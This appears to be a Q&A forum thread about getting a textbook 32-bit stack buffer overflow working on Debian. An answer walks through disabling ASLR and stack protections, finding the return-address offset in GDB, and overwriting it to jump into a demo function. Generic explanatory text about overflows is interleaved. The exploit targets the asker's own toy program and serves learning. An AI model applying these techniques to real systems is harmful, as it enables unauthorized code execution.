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I'm currently interested in learning how to do buffer overflows. I've done quite a bit of assembly, and understand how the stack works and how to implement a buffer overflow in C. However, I'm running across quite a bit of trouble trying to get GCC 4.9.1 to allow me to overflow a buffer properly. I'm running Debian Jessie.
Here is the tutorial that I'm attempting to follow, in section 2.2. I've copy/pasted the C program he provides, and I'm using the same Perl script that he is, so everything is the exact same as his case (except the system, of course).
These are the results that I'm getting consistently:
~/projects/buffer-overflow$ ls
run.pl test.c
~/projects/buffer-overflow$ sudo su
root@wash# echo "0" > /proc/sys/kernel/randomize_va_space
root@wash# exit
exit
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c
~/projects/buffer-overflow$ ./run.pl
Address of foo = 0x804845b
Address of bar = 0x80484a4
My stack looks like:
(nil)
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x8048657
0xffffd494
ABCDEFGHIJKLMNOPP@
Now the stack looks like:
0xffffd718
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x42418657
0x46454443
623
A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to an array of integers.
Most buffer overflows are caused by the combination of manipulating memory and mistaken assumptions around the composition or size of data. A buffer overflow vulnerability will typically occur when code: Is reliant on external data to control its behavior.
Writing secure code is the best way to prevent buffer overflow vulnerabilities. When programs are written in languages that are susceptible to buffer overflow vulnerabilities, developers must be aware of risky functions and avoid using them wherever possible.
Buffer Overflow Causes Common application development mistakes that can lead to buffer overflow include failing to allocate large enough buffers and neglecting to check for overflow problems.
That Perl script isn't particularly useful here, different systems will use different addresses, so let's do it without the script...
First of all, find out the exact number of bytes needed to overwrite the return address. We can do this with GDB and Perl:
(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
As you can see, 26 bytes will overwrite the EIP, so by replacing the last four "A" characters with our bar() function address (don't forget to put it in little endian format), we should have success:
(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Augh! I've been hacked!
Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()
As you can see, we successfully returned to function bar().
80
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